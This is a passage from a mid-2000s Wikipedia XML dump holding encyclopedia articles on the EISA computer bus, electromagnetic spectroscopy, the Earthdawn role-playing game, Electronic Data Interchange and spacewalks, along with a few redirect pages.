      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:EISA_Bus.jpg|300px|thumb|Three EISA Slots.]]
The '''Extended Industry Standard Architecture''' (in practice almost always shortened to '''EISA''' and frequently pronounced &quot;eee-suh&quot;) is a bus standard for [[IBM compatible]] [[computer]]s. It was announced in late [[1988]] by [[IBM PC compatible|PC clone]] vendors (the &quot;[[Gang of Nine]]&quot;) as a counter to IBM's use of its [[proprietary]] [[MicroChannel Architecture]] (MCA) in its [[PS/2]] series.

EISA extends the [[Industry Standard Architecture|ISA]] bus architecture to 32 [[bit|bits]] and allows more than one [[Central processing unit|CPU]] to share the bus. The [[bus mastering]] support is also enhanced to provide access to 4 [[gigabyte|GB]] of memory. Unlike MCA, EISA can accept older [[XT bus architecture|XT]] and ISA boards &amp;mdash; the lines and slots for EISA are a superset of ISA.

Although somewhat inferior to MCA, EISA was much favoured by manufacturers due to the proprietary nature of MCA, and even IBM produced some machines supporting it. It was somewhat expensive to implement (though not as much as MCA), so it never became particularly popular in desktop PCs. However, it was reasonably successful in the server market, as it was better suited to bandwidth-intensive tasks (such as disk access and networking). Most EISA cards produced were either [[SCSI]] or network cards.

By the time there was a strong market need for a bus of these speeds and capabilities, the [[VESA Local Bus]] and later [[Peripheral Component Interconnect|PCI]] filled this niche and EISA vanished into obscurity.

== Technical data ==
[[Image:EISA_Bus_pins.png|right|300px]]

{| class=&quot;wikitable&quot;
| bus width || 32 Bit
|-----
| compatible with || 8 bit ISA, 16 bit ISA, 32 bit EISA
|-----
|[[pin]]s || 98 + 100 inlay
|-----
| Vcc || +5 V, -5 V, +12 V, -12 V
|-----
| clock || 8.33 MHz 
|-----
| theoretical data rate (32 bit) || about 32 MByte/s
|-----
| usable data rate (32 bit) || about 20 MByte/s
|}

== See also ==
* [[Industry Standard Architecture]]  (ISA)
* [[Micro Channel architecture]] (MCA)
* [[NuBus]]
* [[VESA Local Bus]] (VESA)
* [[Peripheral Component Interconnect]] (PCI)
* [[Accelerated Graphics Port]] (AGP)
* [[PCI Express]] (PCIe)

==External links==
* [http://www.techfest.com/hardware/bus/eisa.htm EISA bus technical summary]

----

{{FOLDOC}}

[[Category:Computer buses]]
[[Category:IBM PC compatibles]]
[[Category:Motherboard]]

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[[es:Extended Industry Standard Architecture]]
[[fr:Bus EISA]]
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[[pt:EISA]]
[[fi:EISA]]</text>
    </revision>
  </page>
  <page>
    <title>EISA</title>
    <id>9782</id>
    <revision>
      <id>28280638</id>
      <timestamp>2005-11-14T07:46:22Z</timestamp>
      <contributor>
        <username>Hathawayc</username>
        <id>221296</id>
      </contributor>
      <minor />
      <comment>4la</comment>
      <text xml:space="preserve">'''EISA''' means: 

* [[Extended Industry Standard Architecture]]
* [[European Imaging and Sound Association]] ([http://www.eisa-awards.org/home.htm EISA Awards]).

== See also ==

[[Eisa]]


{{4LA}}</text>
    </revision>
  </page>
  <page>
    <title>European Computer Manufacturers Association</title>
    <id>9786</id>
    <revision>
      <id>15907652</id>
      <timestamp>2004-08-07T16:51:34Z</timestamp>
      <contributor>
        <username>Qlmatrix</username>
        <id>34482</id>
      </contributor>
      <comment>moved content to Ecma International, set redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Ecma International]]</text>
    </revision>
  </page>
  <page>
    <title>Enders Game</title>
    <id>9787</id>
    <revision>
      <id>15907653</id>
      <timestamp>2002-06-22T19:09:59Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Ender's Game]]</text>
    </revision>
  </page>
  <page>
    <title>Electromagnetic spectroscopy</title>
    <id>9788</id>
    <revision>
      <id>40977775</id>
      <timestamp>2006-02-24T06:19:25Z</timestamp>
      <contributor>
        <username>Pavel Vozenilek</username>
        <id>87110</id>
      </contributor>
      <minor />
      <comment>complete revert to 82.83.184.44</comment>
      <text xml:space="preserve">'''Electromagnetic spectroscopy''' a.k.a. '''spectrophotometry''' is the [[spectroscopy]] of [[electromagnetic spectrum|electromagnetic spectra]] which arise out of [[atom]]s absorbing and emitting quanta of [[electromagnetic radiation]].

Electromagnetic spectroscopy involves the use of a [[spectrophotometer]].

==Types of electromagnetic radiation measured==
This can be in any range of [[wavelength]]s:
*[[Radio]] waves
*[[Microwave]]s
*[[Infrared]] light (see [[infrared spectroscopy]])
*[[Optical spectrum|Visible light]] (see [[UV/VIS spectroscopy|UV/visible spectroscopy]])
*[[Ultraviolet]] light (see [[UV/VIS spectroscopy|UV/visible spectroscopy]])
*[[X-ray]]s
Electromagnetic spectroscopy can be classified into narrower fields as discussed below, though in some spectroscopic techniques, several processes may be happening at the same time.

==Types of electromagnetic spectroscopy==

===Emission spectroscopy===
Emission spectroscopy is the study of electromagnetic radiation spectra given off by atoms or molecules that undergo a transition to a lower [[energy level]]. Such a process is called [[fluorescence]] or, under certain conditions, [[phosphorescence]].  Generally, emission spectroscopy deals with visible light and shorter wavelengths, since fluorescence is less likely to happen with long wavelengths. See also: [[spontaneous emission]].

Examples:
*[[Fluorescence spectroscopy]]
*[[Flame emission spectroscopy]]
*[[X-ray fluorescence spectroscopy]]
*[[Stellar spectroscopy]]

===Absorption spectroscopy===
[[Absorption spectroscopy]] is the study of electromagnetic radiation spectra absorbed by atoms or molecules that change [[energy levels]]. Often, it is used as an analytical technique; specific chemical compounds have a specific absorption spectrum that acts as a fingerprint. Moreover, the amount of absorption is related to the amount of absorbing compound. Absorption spectroscopy can be used to determine the concentration of chemical compounds in samples (see [[molar absorptivity]]).

Examples of absorption spectroscopy:
*Vibrational spectroscopy - absorption of [[infrared]] radiation, see [[infrared spectroscopy]]; often used as an analytical tool
*[[Atomic absorption spectroscopy|Atomic absorption]]  - often used as an analytical tool
*[[UV/VIS spectroscopy|UV/visible spectroscopy]] - absorption of [[ultraviolet]] and visible light; often used as an analytical tool
*[[Mossbauer spectroscopy]] - Measures the absorption of gamma rays by atoms bound in a solid as a function of gamma-ray energy. This is not an analytical technique; it is a means to understand certain microscopic processes in matter.

===Other techniques===
Electromagnetic radiation can interact with matter in ways other than simple absorption and emission, such as in the following techniques:

*[[Circular dichroism]] spectroscopy - measures effects of a sample on the polarization of light.
*[[Magnetic circular dichroism]]
*[[Nuclear magnetic resonance]] (NMR) - measures the resonant absorption of radiofrequency radiation by nuclei in a strong [[magnetic field]]. Absorption peaks correspond to transitions in the nuclear spin states of the sample molecule(s).
*[[Electron spin resonance]] - similar to NMR, but looking at electrons.
*[[Raman spectroscopy]] - A molecule can absorb a part of the energy of a photon, which results in a change in frequency (or wavelength) of the photon. The amount of absorbed energy corresponds to an infrared transition in the molecule, even though the photon might have a visible-light wavelength.
*[[Stark spectroscopy]] - measures effects of electrical fields on the spectra.

== Examples ==

=== The spectrum of sunlight ===
Matter reflects, absorbs or scatters regions of the electromagnetic radiation shown upon it. Depending on the Correlated Color Temperature of the light source, you will perceive the object to be of a differing color. Man has attempted to utilize Plank's Law to assign a specific Correlated [[Color temperature]] to each light source sold in your store. Each bulb measured, was assigned a Correlated Color Temperature CCT in [[kelvin]]s; 2800 K is a living room light, 6000 K is a bright sunny day. &quot;Correlated&quot; is used because all is compared back to a perfect [[black body]] radiator.

The higher the temperature, the shorter (and bluer)  the average visible wavelength. The sun, which has a temperature around 6000 K, emits most strongly in the visible light. However, certain wavelengths are missing from the solar spectrum, which is the result of [[chemical element]]s in the [[chromosphere]] of the [[sun]] that have resonant transitions at those wavelengths. From the exact wavelengths of these missing parts of the spectrum, or absorption lines, we can deduce which elements are present in the sun. The fact that these elements have absorbed the radiation indicates that the chromosphere is cooler than the photosphere. 

However absorption spectra can not give us information about the abundance of the various elements. This is because [[hydrogen]] and [[helium]] (the main constituents of the sun) need much more energy to excite them enough to absorb radiation than other elements (such as [[calcium]]) present. So even though H and He are more abundant, a much smaller percentage of them get excited enough to produce a high intensity. To get a better understanding of abundance of these elements it is necessary to study the [[emission spectrum]] of elements in the chromosphere. It is only possible to assess this when the photosphoric radiation is totally obscured  during an [[eclipse]]. At this time the emission spectrum of the chromosphere is highly dominated by hydrogen, which is the main constituent of the sun.

=== Absorption in the atmosphere ===
The material in [[Earth's atmosphere]] absorbs some of the sunlight passing through it.  This has been measured at sea level and various altitudes.  Estimates were made of the likely spectrum of sunlight above the atmosphere and the absorption within the atmosphere.  Actual measurements above the atmosphere required spacecraft which were able to take such readings.  These efforts are illustrated in the following images.

&lt;gallery&gt;
Image:Atmospheric absorption.png|Atmospheric absorption as measured horizontally at sea level.
Image:Solar irradiance spectrum 1992.gif|Solar irradiance spectrum as calculated in 1992.
Image:MODIS ATM solar irradiance.jpg|[[Solar radiation]] measured above the [[Earth's atmosphere|atmosphere]] and at the surface.
&lt;/gallery&gt;

==External links==
*[http://www.scienceofspectroscopy.info The Science of Spectroscopy] - supported by NASA, includes OpenSpectrum, a Wiki-based learning tool for spectroscopy that anyone can edit

[[Category:Color]]
[[Category:Electromagnetic radiation]]
[[Category:Spectroscopy]]</text>
    </revision>
  </page>
  <page>
    <title>Earthdawn</title>
    <id>9789</id>
    <revision>
      <id>39923882</id>
      <timestamp>2006-02-16T21:28:29Z</timestamp>
      <contributor>
        <username>Piotrus</username>
        <id>59002</id>
      </contributor>
      <comment>start a section on 'Political entities'</comment>
      <text xml:space="preserve">{{Infobox RPG
|title= Earthdawn
|image= [[Image:Earthdawn rulebook 2e 200.jpg|200px]]
|caption= ''Earthdawn 2&lt;small&gt;nd&lt;/small&gt; edition'' cover
|designer= [[Greg Gorden]]
|publisher= [[FASA]] ''(1&lt;small&gt;st&lt;/small&gt; edition)''&lt;br&gt;[[Living Room Games]] ''(2&lt;small&gt;nd&lt;/small&gt; edition)''&lt;br&gt;[[RedBrick Limited]] ''(Classic edition)''
|date= 1993 ''(1&lt;small&gt;st&lt;/small&gt; edition)''&lt;br&gt;2001 ''(2&lt;small&gt;nd&lt;/small&gt; edition)''&lt;br&gt;2005 ''(Classic edition)''
|genre= [[Fantasy]]
|system= [[Step System]]
|footnotes= Set in the same world as [[Shadowrun]], [[Millennium|millennia]] earlier
}}
'''Earthdawn''' is a [[fantasy]] [[role-playing game]] produced originally by [[FASA]]. It has since been licensed to [[Living Room Games]], which is producing the ''Second Edition'' line, and [[RedBrick Limited]], a company that is producing the ''Classic'' line.

The game is similar to fantasy games like [[Dungeons &amp; Dragons]], but draws more inspiration from games like [[RuneQuest]]. The rules of the game are tightly bound to the underlying [[magic (gaming)|magical]] [[metaphysics]], creating a richer, more ''realistic'' fantasy world. Like many role-playing games from the nineties, Earthdawn focuses much of its detail on its [[Fantasy world|setting]], a region called [[Barsaive]].

==Setting==
In Barsaive, magic, like many things in nature, goes through cycles. As the magic level rises, it allows alien creatures called Horrors to cross from their distant, otherworldly [[dimension]] into our own. The Horrors come in an almost infinite variety -- from simple eating machines that devour all they encounter, to incredibly intelligent and cunning foes that feed off the negative emotions they inspire in their prey.

In the distant past of Earthdawn's setting, an [[elf]] scholar discovered that the time of the Horrors was approaching, and founded the [[Eternal Library]] in order to discover a way to defeat them — or at the very least, survive them. The community that grew up around the library developed wards and protections against the Horrors, which they traded to other lands and eventually became the powerful [[Theran Empire]].

The peoples of the world built [[kaers]], underground towns and cities, which they sealed with the Theran wards to wait out the time of the Horrors, which was called the [[Scourge]]. After four hundred years of hiding, the Scourge ended, and the people emerged to a world changed by the Horrors. The player characters explore this new world, discovering lost secrets of the past, and fighting Horrors that remain.
 
The primary setting of Earthdawn is Barsaive, a former province of the Theran Empire. Barsaive is a region of city-states, independent from the Therans since the [[dwarf|dwarven]] [[Kingdom of Throal]] led a rebellion against their former overlords.

The Theran presence in Barsaive has been limited to a small part of south-western Barsaive, based around the magical fortress of Sky Point and the city of Vivane.

===Races===
The setting of Earthdawn features several fantasy races for characters and NPCs:
# Dwarf - Dwarves in Earthdawn are similar in appearance to the classic [[Dungeons &amp; Dragons|D&amp;D]] or [[Tolkien]] dwarves. They are the predominant race in Barsaive, and the Dwarvish language is considered the common language. Their culture, especially of the dominant [[Throal]] Kingdom, can be considered more of a [[Rennaisance]]-level culture then in most other fantasy settings.
# [[Elf]] - Elves in Earthdawn fit the common fantasy role-playing convention; they are tall, lithe, pointy-eared humanoids who prefer living in nature. Elves in Earthdawn naturally live a very long time; some are thought to be immortal. Such immortal Elves feature in many cross-pollinated storylines with [[Shadowrun]]. A subspecies of Earthdawn Elves are called the [[Blood Elves]].
# [[Human]] - Humans in Earthdawn are physically similar to humans in our own real world. They are granted a special Versatility Talent to make them more mechanically appealing. Humans in Earthdawn are considered to be somewhat warlike in general outlook.
# [[Obsidiman]] - Obsidimen are a race of large, rock-based humanoids. They stand over 7 feet tall and weigh over 900 pounds. Their primary connection is to their Liferock, which is a large formation of stone within four hours of their place of birth. Obsidimen are loyal to the community around their Liferock, and eventually return to it. Obsidimen can live around 500 years away from their Liferock, and their ultimate lifespan is unknown, as they generally return to it and remain there.
# [[Orc|Ork]] - The Ork race in Earthdawn is similar to other depictions of orks in fantasy role-playing. They are tribal, nomadic and often barbaric humanoids, with green, tan, beige or ebony skin. They are relatively short-lived. Before the Scourge almost all orcs were enslaved by other races.
# [[Troll]] - The Troll race in Earthdawn is also similar to other fantasy role-playing depictions of trolls. They are very tall humanoids, with a hardened skin and horns. Socially, they form clans to which they are fiercely loyal. Troll clans often raid one another, and a significant subset of the troll race are Sky Raiders, which command many of the airships of Barsaive.
# [[T'skrang]] - The T'skrang are lizard-like amphibian humanoids with long tales and a flair for dramatics. Many of them exhibit the behaviors and characteristics which are stereotypical to a &quot;swashbuckler&quot;. T'skrang are often sailors, and many t'skrang families run ships up and down the rivers of Barsaive.
# [[Windling]] - The Windlings are small, winged humanoids, similar to many depictions of [[fae]] creatures, which means they resemble small elves with insect-like wings. They have the ablity to see into the astral plane, and are considerably luckier than the other races. They have wings similar to a dragonfly's and are one to two feet in height.

===Political entities===
:Barsavie:
*[[Throal Kingdom]]/[[Throal]] (dwarves, monarchy)
*[[Iopos]] (city state, magocracy)
*[[Blood Wood]] (Elves, monarchy)
*[[Kratas]] (city of thieves)
*[[Urupa]] (city-state, important port)
*[[Jerris]] (city-state)
*trollish clans of ntains
*[[Vivaine]] (city-stte, under occupated by Thera)


:Outside Barsavie:
*[[Theran Empire]]/[[Thera]]

==System==
[[Image:Earthdawn companion ldged-201.jpg|thumb|200px|right|The ''Earthdawn Companion 2&lt;small&gt;nd&lt;/small&gt; Edition'' cover shows Throal, the capitol of Barsaive]]
===Magic in Earthdawn===
Earthdawn's magic system is both its most innovative and most derivative aspect. It is highly varied, but the essential idea is that every player character (called [[Adepts]]) has some access to magic, used to perform abilities attained through their Disciplines.  

One of the most innovative ideas in Earthdawn is how magical items work.  
At first, most magical items work exactly like a mundane item of the same type. As a character searches for information about the item's history, performs certain tasks relating to that history, and spends legend points (the Earthdawn equivalent of [[experience points]]) to activate the item, he unlocks some of the magic in the item. As the character learns more about the item and its history, he can unlock more and more power within the item.
 
Each magical item, therefore, is unique by virtue of its history and the scope of its powers. For example, one magical broadsword may have only 4 magical ranks and only increases the damage of the blade. On the other hand the legendary sword Purifier, has 10 magical ranks and grants its wielder numerous powers.

Despite the similarities to the new 3&lt;small&gt;rd&lt;/small&gt; edition of [[Dungeons &amp; Dragons]], Earthdawn's ideas and particularly its integration of the setting's magical philosophy into the game's rule system are distinctive and enjoyable.

==History==
[[Image:earthdawngmc.jpg|thumb|200px|right|Earthdawn Gamemaster's Compendium (RedBrick Limited)]]
[[FASA]] closed down production of Earthdawn in January 1999. In late 1999, FASA granted [[Living Room Games]] a licensing agreement to produce new material for the game. There have been several books released since then, including ''Earthdawn 2&lt;small&gt;nd&lt;/small&gt; Edition'' and the ''2&lt;small&gt;nd&lt;/small&gt; Edition Companion'' (Jan 2002).

[[Image:EDplayerscomp.jpg|thumb|200px|left|Earthdawn Player's Compendium (RedBrick Limited)]]
The ''2&lt;small&gt;nd&lt;/small&gt; Edition'' does not alter the setting, though it does update the timeline to include events that took place in Barsaive. There are a few changes to the rules in the ''2&lt;small&gt;nd&lt;/small&gt; Edition''; some classes have slightly different or altered abilities from the original. Generally speaking, it allows for rounded-out characters and balance of play.

In 2003, a second license was granted to [[RedBrick Limited]], who also develop their own line based on FASA and release the original FASA books in PDF form. The Earthdawn '''Player's''' and '''Gamemaster's Compendia''' are basically an alternate second edition, but without a version designation (since the material is compatible anyway). Each book has over 500 pages, and summarizes everything FASA did — not only the game-mechanics, but also the setting, narrations and stories. For example, each Discipline has its own chapter, describing it from the point of view of different adepts. Likewise, Barsaive gets a complete treatment, and the chapters contain a lot of log entries and stories in addition to the setting descriptions; the same applies also to Horrors and Dragons. While [[RedBrick Limited]] tried to remain faithful to FASA's vision and also tried to keep the visual style, they revised almost everything, and introduced some new material to fill the gaps.

==External links==
*[http://www.earthdawn-classic.com RedBrick Limited Earthdawn Homepage]
*[http://www.redbrick.co.nz RedBrick Limited Company Homepage]
*[http://www.lrgames.com Living Room Games]

[[Category:Earthdawn]]

[[de:Earthdawn]]
[[pl:Earthdawn]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic Data Interchange</title>
    <id>9790</id>
    <revision>
      <id>41070716</id>
      <timestamp>2006-02-24T21:38:53Z</timestamp>
      <contributor>
        <username>Anca</username>
        <id>39293</id>
      </contributor>
      <minor />
      <comment>Software-&gt;Formatting</comment>
      <text xml:space="preserve">'''Electronic Data Interchange''' ('''EDI''') is  the computer-to-computer exchange of structured information, by agreed message standards, from one computer application to another by electronic means and with a minimum of human intervention. In common usage, EDI is understood to mean specific interchange methods agreed upon by national or international [[standards body|standards bodies]] for the transfer of business transaction data, with one typical application being the automated purchase of goods and services.

Despite being relatively unheralded, in this era of technologies such as [[XML]]services, the [[Internet]] and the [[World Wide Web]], EDI is still the data format used by the vast majority of [[electronic commerce]] transactions in the world.

== Standards ==
The EDI standards were designed from the beginning to be independent of lower level technologies and can be transmitted using Internet protocols as well as private networks. It is important to differentiate between the EDI documents and the methods for transmitting them. While comparing the [[bisynchronous protocol|bisynchronous]] 2400 bit/s modems and [[value-added network]] to the Internet some people predicted erroneously that EDI would be replaced. These older transmission methods are being replaced by [[Internet Protocol]]s such as [[File transfer protocol|FTP]], [[telnet]] and [[e-mail|email]], although standards for these media are still emerging. In 2002, the [[IETF]] published RFC 3335, offering a standardized, secure method of transferring EDI data via e-mail.  [[As of 2005]], an IETF working group, EDIINT, is preparing similar documents for HTTP and FTP transfers. The EDI documents themselves, as well as the traditional EDI service providers ([[value-added network]]s), remain.

EDI documents contain the same data that would normally be found in a paper document used for the same organisational function. For example an EDI 940 ship-from-warehouse order is used by a manufacturer to tell a warehouse to ship product to a retailer. It typically has a ship to address, bill to address, a list of product numbers (usually a [[Universal Product Code|UPC code]]) and quantities. It may have other information if the parties agree to include it.  However, EDI is not confined to just business data related to trade but encompasses all fields such as medicine (patient records, laboratory results..), transport (container and modal information...), engineering and construction, etc.

There are three major sets of EDI standards. [[UN/EDIFACT]] is the only international standard (in fact, a United Nations recommendation) and is predominant in all areas outside of North America.  [[ANSI ASC X12]] (X12) and the [[Uniform Communication Standard]] (UCS) are popular in [[North America]] and are very similar to each other.

These standards prescribe the formats, character sets, and data elements used in the exchange of documents and forms, such as purchase orders (called &quot;ORDERS&quot; in [[UN/EDIFACT]] and an &quot;850&quot; in X12) and invoices.

The standard says which pieces of information are mandatory for a particular document, which pieces are optional and give the rules for the structure of the document. The standards are like building codes. Just as two kitchens can be built &quot;[[building code|to code]]&quot; but look completely different, two EDI documents can follow the same standard and contain different sets of information. For example a food company may indicate a particular product expiration date while a clothing manufacturer would choose to send color and size information.

Organizations that send or receive documents from each other are referred to as &quot;trading partners&quot; in EDI terminology. The trading partners agree on the specific information to be transmitted and how it should be used. This is done in human readable specifications (also called specs or spec sheets). While the standards are analogous to building codes the specifications are analogous to blue prints. (The specification may also be called a mapping but the term mapping is typically reserved for specific machine readable instructions given to the translation software.) Larger companies have existing specification sheets and are usually unwilling to negotiate. Often in a large company these sheets will be written to be used by different branches or divisions and therefore will contain information not needed for a particular exchange. (Deviations from and clarification to the specification sheets should always be obtained in writing.)

Service providers, such as GXS, provide global platforms to connect and integrate &quot;trading partners&quot; around-the-world.  They provide integration platforms that make the exchange of EDI (or XML) documents transparent and easy between diverse constituents.

== Interpreting data ==

Often missing from the specifications are real world descriptions of how the data should be interpreted. This is particularly important when specifying quantity. For example, suppose candy is packaged in a large box that contains 5 display boxes and each display box contains 24 boxes of candy packaged for the consumer. If an EDI document says to ship 10 boxes of candy it may not be clear whether to ship 10 consumer packaged boxes, 240 consumer packaged boxes or 1200 consumer packaged boxes. It is not enough for two parties to agree to use a particular qualifiers indicating case, pack, box or each; they must also agree on what that particular qualifier means.

''EDI translation software'' provides the interface between the internal system and the common standards. For an &quot;inbound&quot; document it typically takes the variable length fields of the EDI document, translates the individual pieces of data and then creates a file of fixed length fields. For an &quot;outbound&quot; document the translation software queries the internal system, as in the case of an [[SQL]] database, or it translates a fixed width file exported by the internal software.
Translation software may also utilize other methods or file formats. The mechanism of translation is not part of the standard.

(In EDI terminology &quot;inbound&quot; and &quot;outbound&quot; refer to the direction of transmission of an EDI document in relation to a particular system, not the direction of merchandise, money or other things represented by the document. For example, an EDI document that tells a warehouse to perform an outbound shipment is an inbound document in relation to the warehouse computer system. It is an outbound document in relation to the manufacturer or dealer that transmitted the document.)

==See also==
* [[OASIS (organization)|OASIS]]
* [[RosettaNet]]
* [[EDIFICE]]

==Software==  
* [http://skylark.davenport.gb.com/joomla/index.php Skylark EDI extends Joomla (Mambo Fork) as an Electronic Data Interchange (EDI) server. (GNU General Public License) ]

==External links==
* [http://www.geocities.com/tablizer/softeng.htm#template EDI &quot;War Stories&quot;]
* [http://www.imc.org/ietf-ediint/ IETF ediint working group]
* [http://members.aol.com/getmydata/pskb/ANSI-X12-EDI-Format.htm ANSI X12/EDI Format Overview]
* [http://www.kleinschmidt.com/x12_transaction_descriptions_a.HTM ANSI X12/EDI Transaction Descriptions]


[[Category:Information technology]][[category:Electronic commerce]][[category:Information technology management]]

[[de:Electronic Data Interchange]]
[[es:EDI]]
[[fr:Échange de données informatisées]]
[[it:EDI]]
[[he:EDI]]
[[hu:EDI]]
[[nl:Electronic Data Interchange]]
[[ja:電子データ交換]]
[[pl:EDI]]
[[pt:EDI]]
[[uk:Електронний обмін даними]]</text>
    </revision>
  </page>
  <page>
    <title>Ecstacy</title>
    <id>9791</id>
    <revision>
      <id>15907657</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Ecstasy]]
</text>
    </revision>
  </page>
  <page>
    <title>Extra-vehicular activity</title>
    <id>9792</id>
    <revision>
      <id>41515741</id>
      <timestamp>2006-02-27T21:59:14Z</timestamp>
      <contributor>
        <username>Tianxiaozhang</username>
        <id>557868</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[image:Astronaut-EVA.jpg|thumb|right|Astronaut Bruce McCandless on an untethered EVA]]

'''Extra-vehicular activity''' (EVA) is work done by an [[astronaut]] or [[cosmonaut]] away from the Earth and outside of his or her [[spacecraft]]. The term most commonly applies to an EVA made outside a craft orbiting Earth (a '''spacewalk''') but also applies to an EVA made on the surface of the Moon (a ''moonwalk''). In the later lunar landing missions the command module pilot did an EVA to retrieve film canisters on the return trip.

Due to the different designs of the early spacecraft, the [[United States|American]] and [[Soviet Union|Soviet]] space programs also define an EVA differently. [[Russia]]n, and [[Soviet Union|Soviet]], spacecraft have always included an [[airlock]] and consequently Russians define an EVA as occurring when a [[cosmonaut]] is in a [[vacuum]]. Early [[United States]] spacecraft, however, did not include an airlock but instead depressurized the entire spacecraft. An American [[astronaut]] was consequently not considered to have made an EVA until at least his head was outside the spacecraft. The term stand-up EVA (SEVA) is used for being partly outside.

EVAs may be tethered (the astronaut is connected to the spacecraft, oxygen can be supplied through a tube, no propulsion is needed to return to the spacecraft) or untethered. When the tether performs life support functions such as providing oxygen, it is called an ''umbilical''. For untethered EVAs during space flight, capability of returning to the spacecraft is essential; see [[Manned maneuvering unit| Manned Maneuvering Unit]] (MMU).

== EVA Milestones ==

[[Image:Voskhod2.jpg|thumb|right|Aleksei Leonov during the first EVA]]

* The first EVA was carried out by Soviet [[cosmonaut]] [[Aleksei Leonov]] on [[March 18]], [[1965]] from the [[Voskhod 2]] spacecraft.

* The first woman to perform an EVA was Cosmonaut [[Svetlana Savitskaya]] on [[July 25]], [[1984]] while aboard the [[Salyut 7]] space station.

* The first EVA by an American [[astronaut]] was made on [[1965]] [[June 3]] by [[Edward Higgins White|Edward White]] during the [[Gemini 4]] mission. The first American woman to make an EVA was [[Kathryn D. Sullivan]], who stepped into space on [[1984]] [[October 11]] during [[Space Shuttle]] [[Space Shuttle Challenger|''Challenger'']] mission [[STS-41-G]].

* The first EVA by a non-Soviet, non-American astronaut was made on [[1988]] [[December 9]] by [[Jean-Loup Chrétien]] of [[France]] during a three-week stay on the [[Mir]] space station.

* The first EVA that was a moonwalk rather than a spacewalk was made by American astronaut [[Neil Armstrong]] on [[1969]] [[July 20]] when the [[Apollo 11]] Lunar Module ''Eagle'' landed on the [[Moon]]. He was joined by crewmate [[Buzz Aldrin]], and their EVA lasted 2 hours and 32 minutes.

* The first untethered spacewalk was by American astronaut [[Bruce McCandless]] on [[1984]] [[February 7]], during ''Challenger'' mission [[STS-41-B]]. He was subsequently joined by astronaut [[Robert L. Stewart]] during the 5 hour 55 minute spacewalk.

* The first EVA to perform an [[STS-114#In-flight repair| in-flight repair]] of the [[Space Shuttle program| Space Shuttle]] was by American astronaut [[Stephen Robinson| Steve Robinson]] on [[August 3]], [[2005]], during &quot;return to flight&quot; mission STS-114. Robinson was sent to remove two protruding gap fillers on the Space Shuttle [[Space Shuttle Discovery| ''Discovery'']]'s heat shield, after engineers determined they might pose a danger upon re-entry. Robinson successfully removed the loose material while the ''Discovery'' was docked to the [[International Space Station]].

== EVA hazards ==

An EVA is dangerous for a number of different reasons. The primary one is [[collision]] with [[space debris]]. Orbital velocity at 300 km above the Earth (typical for a [[Space Shuttle]] mission) is 7.7 km/s. This is 10 times the speed of a [[bullet]], so the [[kinetic energy]] of a small particle with a mass 1/100th that of a bullet (e.g. a fleck of paint or a grain of sand) is equal to that of a bullet.  Every space mission creates more orbiting debris, so this problem will continue to become worse.

Another reason for danger is that external environments in space are harder to simulate before the mission and that space walks are avoided for routine tasks because of their danger. As a result the EVAs are often planned late in the project development when problems are discovered, or sometimes even during an operational mission. The exceptional danger involved in EVAs inevitably leads to emotional pressures on astronauts who, though selected for exceptional stability under pressure, are still human.

Other possible problems include a spacewalker becoming separated from their craft or suffering a spacesuit puncture which would depressurize the suit, causing [[anoxia]] and rapid [[death]] if the spacewalker is not brought into a pressurized spacecraft quickly.

One astronaut has suffered a spacesuit puncture.  During [[STS-37]], a small rod punctured the glove of one of the astronauts (the name is undisclosed, but it was either [[Jerry L. Ross]] or [[Jay Apt]]).  However, the puncturing object, which stabbed the astronaut's hand as well, held in place, resulting in no detectable depressurization.  In fact, the puncture was not noticed until after the spacewalkers were safely back inside [[Atlantis (Space Shuttle)|Atlantis]]. [http://www.sff.net/people/Geoffrey.Landis/vacuum.html]

[[As of 2005]], no catastrophic incident has ever occurred during an extra-vehicular activity, and no astronaut or cosmonaut has ever died during one.  Still, some scientists are developing tele-operated robots for outside construction work, to potentially eliminate the need for human EVAs.

== See also ==

*[[Space Suit]]
*[[Manned Maneuvering Unit]]
*[[List of spacewalks]]

== External links ==
* [http://www.jsc.nasa.gov/history/walking/EVAChron.pdf NASA JSC Oral History Project ''Walking to Olympus: An EVA Chronology'' PDF document.]
* [http://spaceboy.nasda.go.jp/note/yujin/e/yuj101_eva_e.html NASDA Online Space Notes]
* [http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19730064704_1973064704.pdf Apollo  Extravehicular mobility unit. Volume 1: System description - 1971 (PDF document)]
* [http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19730064705_1973064705.pdf Apollo  Extravehicular mobility unit. Volume 2: Operational procedures - 1971 (PDF document)]
* [http://trs.nis.nasa.gov/archive/00000173/01/tmx64855.pdf Skylab Extravehicular Activity Development Report - 1974 (PDF document)]
* [http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19900001621_1990001621.pdf Analysis of the Space Shuttle Extravehicular Mobility Unit - 1986 (PDF document)]
* [http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19940017339_1994017339.pdf NASA Space Shuttle EVA tools and equipment reference book - 1993 (PDF document)]

[[Category:Human spaceflight]]

[[de:Extra-vehicular Activity]]
[[es:Paseo espacial]]
[[it:Attività extraveicolare]]
[[he:פעילות חוץ רכבית]]
[[hu:Űrséta]]
[[pl:Spacer kosmiczny]]
[[pt:Actividade Extra-Veicular]]
[[ru:Выход в открытый космос]]
[[zh:舱外活动]]</text>
    </revision>
  </page>
  <page>
    <title>Entrepreneurship</title>
    <id>9793</id>
    <revision>
      <id>41314172</id>
      <timestamp>2006-02-26T14:09:27Z</timestamp>
      <contributor>
        <username>Kleverlaan</username>
        <id>145578</id>
      </contributor>
      <text xml:space="preserve">'''Entrepreneurship''' is the practice of starting new [[organization]]s, particularly new [[business]]es generally in response to identified opportunities. Entrepreneurship is often a difficult undertaking, as a majority of new businesses fail. Entrepreneurial activities are substantially different depending on the type of organization that is being started. Entrepreneurship may involve creating many job opportunities. 

